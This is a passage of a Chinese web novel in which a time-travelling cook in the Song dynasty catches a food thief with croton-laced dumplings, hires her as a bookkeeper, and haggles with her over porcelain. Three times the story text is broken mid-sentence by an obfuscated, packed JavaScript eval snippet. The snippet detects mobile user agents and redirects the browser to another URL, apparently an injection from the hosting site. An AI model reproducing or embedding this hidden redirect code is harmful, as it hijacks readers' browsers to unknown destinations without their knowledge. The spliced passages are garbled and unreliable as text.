再者，她心里另有一盘算盘——“饥极方知饭菜香，渴死方悟滴水贵”。适当的饥饿营销能让人产生错失感，愿意花时间排队的客人大多不吝掏钱。若他们吃过一次，觉得效果不错，日后推出高价药膳，也就更容易被接受了。 眼瞅着摊前人流渐散，薛荔将铜钱理清，一一塞进荷包之中，收拾好停当，便推着小摊车回宅中去。 她照例清点完灶房里余下的食材，记在小本本上以防忘记后，便盘算着挑一个空闲日子去备货。忙活了好些日子，她也该给自己放上一日小假了，顺道去买几套新餐具。 正合计着，腹中忽然传来一声蔫巴巴的“咕噜——”。 她捂着肚子苦笑，连肠鸣音都如此有气无力，看来是真该饱餐一顿了。 薛荔在灶房里头东寻西觅。她记得昨日出摊还剩了三个云酥包，虽不好再卖，却也不至于直接丢弃糟蹋，于是妥善留了下来当第二日的吃食。 古时存食，要属冰鉴储存最为妥帖。但她不愿耗费太多银钱专门买个冰鉴来放剩饭剩菜，是以用了夜市摊贩间广为流传的法子——把食物搁在蒸笼中加盖保存，缝隙之间以新鲜芦苇叶填塞，再置于阴凉处。若要吃了，直接将蒸笼端去复热，省便又简捷。 苇叶含有黄酮，能抑制霉变，这几日试下来，倒也着实管用。 薛荔心中正惦记着那软乎乎、透香油的云酥包，迫不及待地揭开蒸笼盖，一眼望去，却登时怔住。 ——蒸笼里，哪还有她白胖胖的云酥包？ 笼屉空荡，孤零零地躺着几片青翠苇叶。苇叶被蒸汽熏得微微卷起，仿佛无声嘲笑着她的满心欢喜。 薛荔心底一跳，以为自己饿得眼花，赶忙合上笼盖。深吸一口气后，默默倒数三声，又再度揭开—— 仍是空的！ 薛荔：“......” 谁他耶的偷了她的包子？！ 薛荔气得耳尖都发红，一口贝齿险些咬碎。偷就偷罢，偏要赶在她最饿的时候下手，这贼忒欺人耶！ 她强自按捺怒火，深吸几口气，努力让自己冷静下来。可细细一想，这种事貌似发生不止一回了。自打她头回去夜市摆摊那日起，灶房之中便会隔三岔五地少些东西。 第一回，是她某夜回宅，看见自己买来腌制作开胃小食的青果似乎少了五六颗。彼时她熬夜熬得晕头转向，只以为自己眼花记错，便没放在心上。 第二回，是她练手做芙蓉饼。原本留了一小盘边角料，想着改日做成点心汤，结果隔日再一看，只剩下零星的糕渣。当时她还以为家中闹耗子，为此特意去了趟杂货铺，买来耗子药撒在灶房的各个角落。 第三回，是她在包云酥包的肉馅儿。包完后，她因腹痛难忍赶去如厕，可回来后再一瞧，装过熟羊肉馅儿的瓷碗却异常干净，肉末不剩，只余油花...... 而这回，她的云酥包连个影子都没了！ 薛荔脸色沉了下来。 这小贼，胆子竟愈发大起来，若不趁早治治此人，下回岂不得把她灶房都搬走？ 然而再恼火，肚子也还是饿的。薛荔一手捂住饿得隐隐作痛的肚子，眼珠滴溜溜一转，计上心头——既然这小贼贪吃，那便她叫他自投罗网！ 薛荔翻遍灶房，见食材不多，但前几日为做笋肉和素馅馒头还剩下不少春笋和香蕈，拿来做几只“胜肉夹”倒是正好。 窗外天光渐暗，雨声淅沥，灶房里却暖融融的。 食案上堆着青壳沾泥的春笋，薛荔挽起袖子，舀来井水将它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659673|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们冲净，仔细去壳后，又一一码放齐整，指尖一挑，握稳利刀，“吨吨”声响，雪白的笋肉便脆生生地剖成细丁。 香蕈柔软，更是不费吹灰之力。 陶炉上的铜釜滚水翻腾，她以刀面一拢，将切好的食材悉数下滚水中去，又往里丢入几片姜片。笋丁与香蕈碎在白水里畅意翻滚，迎着暖呼呼的蒸汽，她握住木杵将胡桃捣成粗粒，时不时瞥一眼滚水中的那几片姜。 宋人有试菌类毒性之法，便是拿姜与菌菇同煮。如若姜色不变，那么菌菇便是熟透了，可以安心食用。 瞧着姜片的颜色依旧灿黄，她捞出焯熟的笋蕈丁，把它们混入胡桃粗粒中，再倒入豆酱与茴香粉。紧接着热锅烧油，油热了浇到酱料上，“滋啦”一声激出浓郁酱香，满室便被这浓油赤酱的滋味包裹住了。 馅料备好，接下来便是面团。从前薛荔便爱自己动手做面食吃，是以早就练出来十分可观的腕力。擀面时用力要绵韧，这样才可将面皮擀得薄如宣纸，却又不破。接下来以瓷勺取馅，面皮裹住馅料后对半翻折，再以指甲尖灵活一掐，掐出菱花似的花褶。差不多快将夹子包完时，便可提前烧热铁鏊，等着贴壁煎烙了。 她将生夹在锅中摆出朵花形以小火慢煎，不多时，鏊子里便传来“噼啪”细响。 油星四溅，夹子面皮逐渐泛起金黄的焦斑，香蕈、笋丁的清香与坚果的脂香交织，搭配着窗外春雨过后、清新而湿润的泥土气息，惹人垂涎。 薛荔特意把胜肉夹煎得香脆，执箸夹起一枚吹了吹，送入嘴中。咬下时只闻“咔嚓”轻响，外焦里嫩，鲜美无比。 不愧是凭滋味胜肉而得名，既有这般佳味，又何须食肉呢？——只是略有可惜，若是条件允许，再往里添些松子，风味必然更上一层楼。 薛荔本就饿着肚子，眼前的胜肉夹又热乎喷香，一个没忍住，便一连吃了仨。 但她可不曾忘记正事。待到吃得心满意足，她轻巧地从绣囊中取出一只小瓷瓶，不急不慢地把里面的粉霜混进方才拌馅余下的酱料里，又拿刷子蘸着均匀给剩下几只胜肉夹刷上。 “哼，偷尝偷尝，够你疼得哭耶喊娘！”薛荔欣赏了一眼自己的“大作”，将这一盘胜肉夹端到灶台一侧，特意放在往日热菜的锅里，装模作样地温着。 今夜，便瞧这小贼如何接招了。 ...... 更阑人静，鸦默雀静。 灶房角落里，薛荔把自己塞进陶瓮，头顶覆着一只大竹筛，只掀开一条缝悄悄窥视四周。 都这个点了，那小贼怎地还不现身？莫非，今夜改去别家偷吃了？薛荔蹲得腿脚都发麻，忍不住心中嘀咕。难道是今晚的胜肉夹不够香？还是说，那小贼不爱吃香菇和竹笋？ 困意渐起，她强撑着眼皮，一想到明日卯时便得起身开工，而此刻她却还窝在这狭窄的陶瓮里守贼，不禁悲从中来。 薛荔叹了口气，方想换个姿势松松僵硬的腿脚，冷不防听得窗户“吱呀”一声轻响，随即传来衣料摩挲的沙沙声。 ——有人翻窗进来了。 8. 天赐新伙计 她心中一凛，连忙屏息。 那小贼轻手轻脚地落地，竟似回到自己家里似的，连灯也不燃，三两步便摸至锅前。薛荔静静地听着那动静，似乎是那人掀开了锅盖，还嗅了嗅食物的香气。 “唔，好香……这是……胜肉夹？” 低低的话语声在夜色里响起，声音还算清丽，惹得陶瓮中露出的那双狐狸眼微微睁大——这小贼竟然是个女娘？ 她心底顿觉好奇，使劲瞪大眼睛，借着窗外淡白的月色，瞧那人小心翼翼地捻起一只胜肉夹。 口水吞咽的声音在一片黑暗中似乎被放大百倍，那人大咬了一口吃食，胜肉夹外油煎得香脆的面皮在她口中崩碎，炸出咔嚓脆响，香味溢出，连薛荔自己都忍不住吞了吞口水。 这吃得也太香了罢！ 不对不对，吃得再香又有何用！胆敢偷她薛大荔的东西，叫她吃不完拉着走！ 这女贼狼吞虎咽完一个下肚，似乎吞得有些急了，险些被噎个半死，只好猛地拍拍胸口，低低咳嗽两声，又顺了口气，复而捻起第二只继续往嘴中塞。牙齿咀嚼间，脆脆的声响同放炮竹似的，一连串响起。 薛荔见她吃得正酣，心中暗自估算着时间。 果然，没过几口的功夫，那人拿着吃食的手骤然一顿。紧接着，另一只手捂住小腹，身子逐渐蜷缩成一团，嘴里发出一声痛呼。 “唔……痛痛痛！难不成……那厨子竟是个卖馊食的？”那女声埋怨道。 “竟敢说我是卖馊食的？”忽而间，灯盏一燃，暖黄的光辉倏然照亮整间灶房，某道声音幽幽道，“若知你要来我家灶房偷吃，我倒真该留些残羹剩饭，专门待你享用。” 那女贼煞是惊愕地抬头，只见一玉貌花容的小娘子自陶瓮中跨出，手持擀面杖，眉梢微挑，好整以暇地睨着她。 女贼打量着薛荔，薛荔亦打量起她。这小贼，生得一副蛾眉皓齿的秀丽模样，怎就非要行这不轨之事？ 那女贼一惊，强撑着站起身欲翻窗逃走，可刚迈出一步，肚子又是一阵绞痛，她踉跄着跌倒在地：“诶呦，我的肚子……” “你这宵小，少做抵抗！”薛荔用擀面杖戳了戳她的肚子，扬眉瞅她，“方才那胜肉夹滋味如何？” 女贼一愣，旋即反应过来，怒指着她：“你居然在吃食里下毒！” “身为人厨，你怎可做这等事？这多让买你吃食的食客们心寒！” 那人说得义愤填膺，倒给薛荔惹笑了：“旁人是买，你是偷，取得方式不同，吃到的东西自然也就不同。”薛荔蹲下身瞧她：“更何况，我可没给你下毒。” 女贼的额角渗出冷汗，咬牙切齿：“那……那我为何腹痛如此？” “哦！我忆起来了。许是我在制酱时，不慎将巴豆霜当作姜粉撒进去了。”薛荔故作无奈，懊恼叹气道。 “……”女贼气得直喘，“你故意的！” “欸！空口无凭，你可有证据？”薛荔慢慢悠悠，“现在可以说说，你为何连日来翻进我家灶房偷食了？” “腹饿之人寻吃食，怎可算偷？”女贼反而理直气壮，没好气地瞅她一眼，“我接连观察你小两周了，你一个做厨娘的，怎可如此浪费粮食？” “你一介宵小之辈，反倒这般义正言辞地训起我来了？”薛荔觉好笑。 “你不信？”那女贼瞅着薛荔神情，不知从怀中何处掏出个小巧算盘，忍住腹痛，噼里啪啦跟她算起账来，“据我所见，你每日做云酥包至少会余下三斤碎肉的筋络。大多时候，你都以五文钱的价格贱卖给屠户，但这哪是划算的法子？换做我，定会给那些碎肉削去筋膜，制成肉茸。肉茸还可包入笋肉云酥包中，以此替代三成鲜肉。此法若得以实行，你每月至少可省下四百文铜钱！” “还有！泡坏了的紫苏叶全都被你倒进了泔水桶里，但倘若你将那些紫苏晒干、碾粉，与甘豆汤里的薄荷叶三七调配，至少能比每月单用薄荷叶省下一百八十文！” 听到此处，薛荔已有些纳罕，张了张口欲说话，却又被她抬手郑重止住：“等等，还有！蜜豆桂花馅的云酥包打从未时起便很难再卖动，你若不想亏本，不如将它们的蜜馅掏出，融作糖汁，加进紫苏饮里冰镇制成蜜豆紫苏冰沙，冰沙的价钱可是包点的近两倍，这样一来，你非但不会折本，还有得赚呢！" 薛荔怔忡了下，低头认真思索起来，竟还真让这小贼说对了！ 忽而忆起什么，女贼地手指在空中点了点，眼神一亮，将算盘珠子打得“哒哒”直响：“今日你摊上未能卖出的蜜豆桂花包有六个，若此时加紧改造，明日还来得及再赚六十文！” “……！”薛荔听得目瞪口呆。这女贼不但不偷银钱，反倒拨着算盘替她算账来了？ “还有还有......”大抵是谈及自个儿感兴趣的领域，那女贼似乎将巴豆霜带给她的痛楚忘在一旁，滔滔不绝地拉着薛荔说道起来。 “停停停！”薛荔连忙打止，疑惑质问，“我摊上未卖完的包子是何品类，余数几何，这些你都清楚？” “这有何难？”女贼似乎对她这问题深表不屑，神气扬眉道，“本侠女眼观六路，耳听八方，若连目标店家每日净赚多少银钱都不知的话，还如何行窃？” 话音落下，气氛忽而一滞。 她似乎亦觉着这话说得略有些怪异，忙拍了拍胸脯，补救道：“我姜喜鱼一不欺老弱妇孺，二不欺平头百姓，唯盯着欺公罔法的土豪劣绅盗财，以此接济贫苦百姓，何错之有？你扪心自问，这几日我可曾在你宅中拿走半分银钱？” 薛荔只睨着她不语。 姜喜鱼被这目光瞧得心虚，行侠好义的气势逐渐弱下：“也、也就是见你每日都有些卖剩的吃食，丢弃了着实可惜，为何不拿去予饥者果腹，也算积德行善？” “若我日日都将未卖完的吃食送给旁人，长此以往，还有谁会以正价来买吃食？”薛荔挑眉，若有所指，“毕竟，吃现成的多好。” “......倒也是这个理。”姜喜鱼自知理亏，挠头一笑。 “所以，这位姜女侠，这几日你在我家灶房里吃掉的东西，打算如何偿清呐？”薛荔微笑着斜头瞧她，手中的擀面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659674|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杖轻敲手心。 姜喜鱼急中生智，捂住肚子无奈道：“这段时日无甚豪绅作恶，我又不盗平民百姓财物，因此手头拮据......” “无钱偿清？”薛荔和和气气回，“那倒更好办了。” “小娘子果真人美心——”姜喜鱼心底甚是感动，嘴中的溢美之词方要夸出，便哽在喉头，化为泡沫。 “那明日清晨，我便绑你去县衙。届时，你可将你的心里话一一说予知县听。” “欸欸欸！你千万莫急！”在江湖上摸爬滚打多年，察言观色一事，姜喜鱼还是通晓几分的。 “你还有何要说？”薛荔语气淡然，一副此事已定模样。 “不知小娘子可有何更好的解决法子？”姜喜鱼为那巴豆霜憋得脸色都涨红，“我也无甚长处，唯算账的本事还行。若小娘子不嫌弃，便让我以劳抵饭钱？” 此话正中薛荔下怀，可雇佣员工哪有这般容易？ 她故作迟疑，沉吟片刻道：“你行侠仗义不假，但盗豪绅之财，定然早被官府通缉，我若雇了你，岂不是私藏贼犯，将来亦得与你一同坐牢？” “这点小娘子不必担忧。”姜喜鱼忍住三急之感，拍胸脯保证，“我闯荡江湖多年，这点人脉门路还是有的，一份干干净净的户籍自不在话下！” 最棘手的事迎刃而解，薛荔不由得在心底暗笑，只觉此人乃老天奶赐给她的一般。 早在姜喜鱼算账时，她便瞧中了她的本事。 她向来最头疼记账，可做生意不得不记。每夜忙碌归家，还要对着账本折腾，实在叫人心烦。眼下虽说这女娘是盗贼出身，但好在劫恶济贫，亦算侠盗了，先用着观察小段时日也无妨。 薛荔清了清嗓子：“你在我这儿干活，我定不会叫你白干。待你还完这几日的伙食费后，我每月付你四十文工钱。不过，除开管账之外，平日里我一人忙不过来的活计，你也得搭把手。你意下如何？” “你是说，你要付我工钱？”姜喜鱼瞪大双眼，“我还以为，只要还清了饭钱便可走人呢！” “话虽如此，可如今天下太平，难道你打算一直这般，用‘吃百家饭’的法子活下去？”薛荔的眸底流露出欣赏之意，“你既能算得一手好账，何不凭此谋生？” 姜喜鱼听罢，怔忡半晌。 薛荔本以为她有所触动，可未料想，下一刻她猛地捂腹，脸色发青：“茅……茅房在何处？” ...... 薛荔叉腰守着锅中煮着的菉豆甘草汤，抬首望向窗外，夜色沉沉，黑灯瞎火一片。 她揉了揉眉心，重重打了个呵欠，刚欲伸个懒腰，便见姜喜鱼扶着木门框，脸色煞白，脚下不稳地踏入屋内。 “你究竟往酱料里加了多少巴豆霜？”姜喜鱼双腿打着哆嗦，几乎是虚浮着跌坐在矮凳上，神情是憋屈又委屈。 怎么说二人都算是握手言和了，薛荔见她这副模样，心底也浮起几分愧意，语气不免有些心虚：“也就……不多，不多，只一小撮罢了——诶呀，来，快些趁热多饮几碗汤，包你顷刻见好。” 9. 黑红脸双打 她说着，麻利舀了一碗热汤递过去。 姜喜鱼垂眸瞧着碗中碧莹莹的清汤，满心狐疑：“就这般清汤寡水，当真管用？” 薛荔抽了只小凳在她身侧坐下，正色道：“这可不是什么寻常汤水，里头加了菉豆的。幼时我曾误食过巴豆，我阿耶便是煮这菉豆甘草汤让我服下，顷刻便止住了腹泻。他昔年开过药铺，常言菉豆可解毒、甘草可缓急，二者同煎取汁，便有止泻功效。” 姜喜鱼听罢，半信半疑地啜了一口，意外地发现汤味清甘爽口，不禁砸了砸嘴：“话说回来，我们俩闹出这般大动静，怎不见将你爹娘吵醒？” 薛荔闻言，手上动作微顿。 这话若是原主听罢，或许要伤怀泪落，可她与原主爹娘素未谋面，若一笔带过，又未免显得奇怪薄情。 她沉默片刻，低垂着头，借着昏暗的灯影遮去神色：“家中多难，我爹娘已故世多年了。” 姜喜鱼猝不及防，猛地呛住，顿时恨不得给自己两巴掌，忙不迭赔罪：“哎，我这张嘴！是我莽撞了，平白叫你伤心，实在对不住……” “都已是陈年旧事，何必介怀？”薛荔勉力笑了笑，话锋一转，问道，“那你呢？眼下住在哪处？可有家人？” “家人……？我自记事起，便随师傅四处行走江湖，从未见过爹娘。”姜喜鱼说着，忽地眨了眨眼，笑得狡黠，“至于住处嘛……” 她抬起手，点了点灶房东墙后的位置。 薛荔顺着她手势望去，愣了半晌。忽然惊觉不对，猛地回头——那不正是她家窄房么！ 她难以置信地看着她：“你是说，这几日你一直住在我家？！” 家中神不知鬼不觉多住进个活人，还一住竟就是半月有余，着实叫人心惊！ 姜喜鱼被她瞪得有些不好意思，摸了摸鼻尖，讪笑道：“那日路过你家，闻得羊肉香气馥郁非凡，实在忍不住馋了一回。原是想着吃一顿便走，谁知你手艺太好，于是便小住下来......” “幸亏你溜进的是我家，若换作旁人，早送你去县衙问罪了！”薛荔复又叹道，“罢了，既然你暂无住处，便与我一同住着，省得你哪日又不知溜去谁家作贼。” 姜喜鱼听得此言，当即放下海碗，竖起三指，正色道：“小娘子放心，我姜喜鱼虽身无长物，却有侠义之心，绝非无赖之徒！若我存半分歹念，便叫天打雷劈，死有余诛！” “行啦行啦，莫瞎起誓。”薛荔摆摆手，站起身伸了个懒腰，“时候不早了，你新加入，何事都不熟悉，明日咱们便不出摊，去瓷器行买些厨具！” - 朝雾未散，青石板上还凝着昨夜的雨珠，倒映着澄澈的天光。 薛荔扯着姜喜鱼挤过人群，及至瓷器行门前，正好碰上开门。 “哈——”姜喜鱼困得眼睛都睁不开，张口打了个老长呵欠，眼角泛着泪花，“又非赶集，咱们真有必要这么早便赶来么？” “若不趁早来，好瓷器都要叫人预定去了——诶！当心门槛！” 薛荔眼疾手快，扶住被踏跺绊了一下的姜喜鱼，刚欲开口嗔她不留神，心神却被一缕清冽的陶土香吸引过去。四下打量，只觉瓷器行门厅宽敞，数十层杉木架子从前排至后堂，定窑的牙白、钧窑的瑰色在晨光中浮沉交映，活脱脱似打翻了的颜料匣子。 店中的伙计正踩着高凳擦亮瓷瓶，薛荔方一瞧见那瓷器便喜欢得双眼直泛光。那是一只梅子青色的贯耳瓶，远远望见，只觉瓷光宛若羊脂玉似地泛着盈盈华泽。 不愧是她打听多时、一眼便挑中的汴京城第一瓷器行！薛荔很是满意，伸手拽了拽姜喜鱼，轻声道：“你瞧见没有，那瓷器莹透，连伙计身上的穿的麻布衣衫都被衬得鲜亮许多。” 这般质地，若是来日她开饭馆能将店中的碗盘尽数换作这个品类，还愁吸引不到高门大户的食客们么？ 姜喜鱼再度打了个呵欠，揉了揉眼：“莫不是你眼睛在发光罢。” 这人真是...... 薛荔抽了抽嘴角，仰着头，视线游移于架上的琳琅瓷器之间，只觉目不暇接。 “二位小娘子随意看些。”柜台后的掌柜稍瞥了她们一眼，大抵是见她二人衣着打扮寻常，便继续低下头拨算盘珠子，“东面有民窑粗器，南面有福清窑……” “怎尽是些俗物？我瞧你家铺中珍品也不少，掌柜的这是瞧不上我们这笔生意？”听闻掌柜那轻飘飘的语气，这会儿姜喜鱼可谓一瞬间清醒过来。她本就言辞无忌，讲话直出直入，且既是来花银子的，又哪会白白受他的气。 “欸，哪里哪里。”掌柜的上前赔笑道，“某不过是想着，若二位是买来家用，便无需过于华美，反倒是简朴实用为佳。”做生意之人，惯会将话说得面面俱到。 “说得倒好听。”姜喜鱼瞧不上他这番做派，低低冷哼了声。 一旁的薛荔暗地轻扯了扯她衣袖，朝那掌柜温声道：“掌柜的不知，我二人买瓷器，并非家用，而是铺子里要用。” 既然是开店所用，那便有的赚头了。 掌柜的闻言，转而笑容可掬，立刻作了个“请”的手势：“如此，烦请两位小娘子且随我往西阁一观。” 步入西阁，方知这家瓷器行果真别有洞天。 “不愧乃京师瓷器行之最。”饶是平日里大大咧咧如姜喜鱼，见了这些瓷器都不免慨叹。她被那只铜红釉钧窑迷得醉了心，伸出指尖轻轻触碰，海棠花般开口的盏底仿若盛着一片凝固的晚霞。 薛荔却为北面木架上的一只定窑刻花萱草纹大盘而驻。她心头微微一动，趁着掌柜的在前头背身介绍旁的瓷器，眼疾手快地翻开盘下压着桑皮纸价签—— 两贯钱！简直晃瞎人眼！ 她心底当即便噼里啪啦算起来——两贯钱，足够买五十斤上等羔羊肉了！ 薛荔在这一刻彻底死心，目光依依不舍地从大盘上拂过，最终还是随着掌柜的往前去。 “小娘子不如瞧瞧这套湖田窑影青。”掌柜打开一只樟木箱，随手取出一盏，移步到屋子角落光影昏暗之处，举过头顶，再拿灯照之。 只见柔和的灯光透釉而过，笼笼地在砖地上映出一抹半透明的牡丹花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659675|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影，朦胧若月下纱帐。 “这般明若镜、薄若纸的品相，汴京城中再难出第二套了。” 姜喜鱼躬身凑到盏子底下瞧：“这个倒也好看，胎也薄、影也透的，喝茶时用这个多雅致。” “正是，小娘子果真识货！”掌柜的连连颔首，“这套湖田窑影青不仅好看，眼下还正值好价，每件只需九十九文！二位小娘子欲拿上几套？” 九十九文钱？薛荔可不听他这番吹嘘。 她兀自从樟木箱中取出一只来细看，拿着灯盏一照，便见盏心处其实存在着细微的跳刀痕。跳刀痕并非什么大瑕疵，只不过是工匠手工修胎时可能会在坯体底留下的手工痕迹，但有的话瓷器亦会折些价钱。 薛荔眸光稍动：“这瓷器的釉水是上乘不错，只可惜了，瓷器师傅旋坯的功夫还欠些火候。” 掌柜的眉头一跳：“小娘子何出此言？” 她将那盏递回给掌柜，将盏心处的跳刀痕照给他瞧：“有这个瑕疵，即便是拿去州桥夜市，怕是也只可卖到六十文，甚或更低。” “六十文？”掌柜的惊得差点没把盏子给摔了，连忙摆手，“不可不可，这套绝对不可。” 薛荔亦不多掰扯，干脆利落地拉上姜喜鱼往外边走：“走罢喜鱼，咱们再去别家看看。” 那掌柜又快步赶上来，挡在二人前面，腆着脸道：“不过，我瞧小娘子也像内行人，若是想以好价买好瓷，我倒另还有个法子。后堂里正搁着一批汝窑孔雀纹残器，虽说盏口处有些磕损，但好在已用镶银扣遮去了冲线，即便是拿去给贵人用，亦保准瞧不出！” “这倒是划算。”姜喜鱼微微皱眉，“不过……怎么总觉听着有些奇怪？” 掌柜脸上的笑意不减，眼底闪过精光：“欸，小娘子说笑了。汝窑乃官窑之最，即便是残器，亦非寻常物什。况且盏口镶银，多是达官贵人爱用的法子，若不是内行人，谁又瞧得出瑕疵呢？” “哦，原是如此。”姜喜鱼环抱着手臂，似笑非笑，“掌柜的倒也体贴周到，只是咱们买瓷器是为了做生意，讲究的就是一个物有所值，可不兴为了这点花头白花冤枉钱。” 听到这处，薛荔不由得多瞧姜喜鱼好几眼。这丫头是帮她砍价来了？ “这汝窑若是完好售卖，自然值钱。但既是残器，虽能镶银遮掩，却改不得瓷胎本相。敢问掌柜的这一套欲索多少银钱？” 掌柜的捋须一笑，竖起两根手指头——这便是两贯的意思了。 姜喜鱼“噗嗤”一声，摇头道：“两贯？你家这盏是喝金汁长大的？依我看，两贯钱都够买成色上佳的定窑刻花大盘了，凭何来买你家这等残器？” 掌柜的悠然道：“小娘子，这你就有所不知了。此批汝窑乃是半月前自河南府收得，虽非完璧，但贵在窑口难寻，镶银也添贵气。即便是拿去卖给州桥夜市的胡商，也定然是高价了。” “哦？”姜喜鱼闻言，眉梢微扬，话里透着些不以为然，“既然能叫胡商高价收去，那掌柜的还何苦留在店中？依我见，怕是那些胡商亦嫌价高，故而未能售出吧？” 10. 红烧狮子头 薛荔只听见姜喜鱼口齿伶俐，若妙语连珠，站在她身旁崇拜地望着她。没料想，自己这是捡了个砍价宝回宅呢。 掌柜的嘴角微微一僵。 薛荔见状接过话来：“掌柜此言倒让我想起昨日在州桥夜市见着的几家瓷行，亦有这等镶银盏售卖，标价才一贯二百文。” 姜喜鱼轻呵：“正是呢，我当时还瞧见那掌柜说，若是买得多些，兴许还能再少二十文。” “这……”掌柜的捏着胡须，神情一时有些迟疑。 姜喜鱼趁机逼近一步，语速不疾不徐，甚是闲谈般道：“咱们二人一大清早便来了，也不是寻常买家，既是为店里采买，日后少不得同掌柜的再打交道。掌柜的今日若能做个实诚买卖，咱们日后自然还会光顾。” 那掌柜的眼珠子转，思忖过后终是叹了口气，摊手道：“罢了，既然两位小娘子爽利，那某也不拐弯抹角，一贯五百文，不能再少了。” 薛荔莞尔：“掌柜的也知咱们采买的不止一套，若是一套便要一贯五百文，那三套下来……” “不若这样，一套一贯三百文，咱们要三套，且还另买多几副勺箸，掌柜的可愿？”姜喜鱼接过话来。她二人一个唱红脸，一个唱黑脸，搭配那叫一个默契十足，天衣无缝。 掌柜的面上闪过挣扎之色，许久后一拍柜台，咬了咬牙，无奈叹道：“既然两位小娘子实心实意地同某做生意，那某也不拖泥带水，便依此价！” 薛荔心底舒了口气，又听闻身旁姜喜鱼皮轻声嘀咕：“叫他漫天要价，这回总算公道些了。”她不由得掩唇笑了。 掌柜的丝毫未闻此话，只忙着唤伙计去取瓷器，仔细包裹好，又差店伙计将二人买下的三套汝窑孔雀纹盏、十五把篦纹汤勺与十五副梅花木箸稳妥送至薛宅中。 临走前，周掌柜还不忘朝二人拱手笑道：“两位小娘子往后若是还需瓷器，尽管来找某家，定少不得二位的好处。” 姜喜鱼冲他爽快一笑，一回首便不忍咂了咂嘴，同薛荔吐槽：“还少不得呢，方才为那几文勺箸钱都费不少口舌，从他那儿捞些许好处可真不容易。” 薛荔忍俊不禁，轻轻一叹：“不过，的确也算公道了。”说罢，她忽而忆起什么，欣喜地看向姜喜鱼：“方才你同那周掌柜砍价的模样可真教我刮目相看，之前都不知，你竟还是还价的一把好手。” 姜喜鱼意气扬扬，却又故作神色淡然：“咱们才相识两日，你不知的事多了去哩，只慢慢惊喜着罢。” 回到家中，已是午时。天光正暖，院中老槐树投下一片斑驳阴影，微风穿堂而过，拂得遮光竹帘微微扬起。 两人将方才店伙计送至门口的瓷器搬进院中，还未整理多久，便觉腹中空空，饿得发慌。 “喜鱼，你可有何想吃的？”薛荔将手中樟木箱往地上一搁，轻舒一口气，“咱俩搭伙的第一餐，总得讨个好彩头。” 姜喜鱼刚在圆石桌边坐下拨弄账簿，闻言抬首，眨眼望着她，嘿嘿一笑：“我觉着羊肉馒头就不错。” 薛荔瞧着她，不忍失笑：“你窝在我家那几日顿顿都是羊肉馒头，还不觉腻？” 姜喜鱼理所当然地点点头：“好吃的东西，哪会腻？” “行，我去看看家中羊肉还够不够。”薛荔深表佩服，抬步往灶房去，心中盘算着要不要顺道做碗热汤，暖暖胃。 她转身迈入灶房，姜喜鱼继续低头算账。片刻后，忽而听得灶房中传来惊呼一声，紧接着，只见薛荔疾步冲出来：“喜鱼！咱家遭贼了！” “贼？”姜喜鱼愕然。她堂堂名贼就在此处，竟还有无名宵小敢上门佻窃？ 简直是挑衅！ 薛荔肃然点头：“我明记着先前还剩下小半斤羊肉，就搁在灶房东南角的木架上，方才一瞧，只剩下裹肉的荷叶了。” 姜喜鱼闻言，神色略显微妙：“......是不是还少了些韭叶？” 薛荔有些莫名其妙，瞧着她，狐疑地缓缓点了点头。 姜喜鱼摸了下鼻尖，干笑两声：“都怪我，昨夜因吃了那巴豆霜腹泻，半夜腹中空空，硬生生被饿醒来。我见你睡得正酣，不想打搅你美梦，便自己动手做了道羊肉韭饼。不过！我本是想着留几块给你作今日早膳吃的，谁料那羊肉腌得太香，一吃便停不下来了......” 薛荔忍俊不禁。 她压根不生气，尤其是听到后半段，似乎很是欣慰，颇有几分得意之色：“那羊肉腌料乃我薛氏独家秘方，不怪你全吃净了。” 姜喜鱼回想起昨夜那羊肉韭饼鲜美的滋味，好奇极了：“好阿荔，你到底用了何种腌料？陈皮？茴香？还是花椒？” 薛荔不置一词，抿嘴一笑。 大谬不然。 其实她用的是现代人惯常的腌肉法子——前世做美食主播时，自己每每做肉食，便会以菠萝碾汁腌肉。菠萝中的菠萝蛋白酶能有效分解蛋白质，使得肉质更为鲜嫩，且还增添酸甜风味。 宋朝时期，菠萝虽还未传入，但好在她前几日收拾薛父存放药材的窄房时，在一堆药酒罐子中发现了一罐青梅露——这不就是现代人所说的青梅酵素么！ 青梅酵素中亦含有蛋白酶，在这个材料算不上齐全的朝代，也可作腌肉的一把好手了。且不说，酵素中还有有益微生物，能抑制有害菌生长，延长肉的保鲜期。 姜喜鱼被她这副神秘不宣的模样勾得心痒难耐，索性伸手抱住她胳膊，像荡秋千般晃个不停，险将薛荔甩出五尺开外。 “停停停！”薛荔被晃得晕头转向，“还想不想吃饭了？” 姜喜鱼立刻收手，眼巴巴地望着她：“可羊肉没了，咱吃什么？” 